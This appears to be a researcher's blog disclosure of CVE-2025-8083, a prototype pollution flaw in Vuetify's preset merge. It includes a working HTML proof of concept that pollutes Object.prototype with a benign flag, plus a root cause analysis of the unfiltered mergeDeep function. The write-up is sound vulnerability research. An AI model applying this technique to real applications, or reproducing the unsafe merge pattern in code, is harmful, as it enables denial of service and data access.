YouGina
CVE-2025-8083 — Prototype Pollution in Vuetify
Back in July of 2025 I found an interesting vulnerability in Vuetify's Preset configuration. In this article I give a technical overview of this bug, following the style of my original report.
Vuetify’s Preset configuration feature uses an internal mergeDeep utility to merge user-supplied options with defaults. By supplying a specially crafted malicious preset, it’s possible to pollute Object.prototype, impacting all JavaScript objects across the application.
Depending on how the application is used, this can lead to serious consequences such as:
- denial of service or resource exhaustion,
- unauthorized access to data,
- and in SSR scenarios, impact on the entire server process.
This issue affected Vuetify versions >= 2.2.0-beta.2 and < 3.0.0-alpha.10.
Proof of concept
<!DOCTYPE html>
<html>
<head>
<title>Vuetify Prototype Pollution PoC</title>
<script src="./node_modules/vue/dist/vue.js"></script>
<script src="./node_modules/vuetify/dist/vuetify.js"></script>
</head>
<body>
<div id="app">
<h1>Prototype Pollution PoC</h1>
<p>Check the browser console and this page for output.</p>
</div>
<script>
const cleanObject = {};
console.log("BEFORE pollution: cleanObject.isPolluted =", cleanObject.isPolluted);
if (cleanObject.isPolluted) {
document.body.innerHTML += '<p style="color:red; font-weight:bold;">ERROR: Prototype was already polluted.</p>';
}
const maliciousPreset = {};
maliciousPreset.__proto__.isPolluted = true;
console.log("Instantiating Vuetify with a malicious preset object.");
const vuetify = new Vuetify(maliciousPreset);
console.log("AFTER pollution: cleanObject.isPolluted =", cleanObject.isPolluted);
new Vue({
el: '#app',
vuetify: vuetify,
mounted() {
if (cleanObject.isPolluted === true) {
const p = document.createElement('p');
p.style.color = 'red';
p.style.fontWeight = 'bold';
p.textContent = 'SUCCESS: Object.prototype has been polluted! Any new object will now have the "isPolluted" property.';
this.$el.appendChild(p);
console.log("SUCCESS! Prototype is polluted.");
} else {
const p = document.createElement('p');
p.textContent = 'FAILURE: Prototype was not polluted.';
this.$el.appendChild(p);
console.log("FAILURE! Prototype not polluted.");
}
}
});
</script>
</body>
</html>
Root cause analysis
When const vuetify = new Vuetify(maliciousPreset); is called from the proof of concept above the constructor from Vuetify is called. We can see in line 34-41 of src\framework.ts that this could uses the presets:
public preset = {} as VuetifyPreset
public userPreset: UserVuetifyPreset = {}
constructor (userPreset: UserVuetifyPreset = {}) {
this.userPreset = userPreset
this.use(services.Presets)
This triggers the constructor of the Presets class, which can be found on line 19-43 of src\services\presets\index.ts:
constructor (
parentPreset: Partial,
parent: Vuetify,
) {
super()
// The default preset
const defaultPreset = mergeDeep({}, Preset)
// The user provided preset
const { userPreset } = parent
// The user provided global preset
const { // line 12
preset: globalPreset = {},
...preset
} = userPreset // line 15
if (globalPreset.preset != null) {
consoleWarn('Global presets do not support the **preset** option, it can be safely omitted')
}
parent.preset = mergeDeep( // line 21
mergeDeep(defaultPreset, globalPreset),
preset
) as VuetifyPreset // line 24
}
In the snippet above we see on line 12-15 that the user defined preset (userPreset) is added to the globalPreset. Later on line 21-24 we see a recursive call to the mergeDeep function which allows for this vulnerability to happen. The mergeDeep function can be found on line 467-490 of the file src\util\helper.ts:
export function mergeDeep (
source: Dictionary<any> = {},
target: Dictionary<any> = {}
) {
for (const key in target) {
const sourceProperty = source[key]
const targetProperty = target[key]
// Only continue deep merging if
// both properties are objects
if (
isObject(sourceProperty) &&
isObject(targetProperty)
) {
source[key] = mergeDeep(sourceProperty, targetProperty)
continue
}
source[key] = targetProperty
}
return source
}
We can see here that no attempt has been made to filter dangerous keys.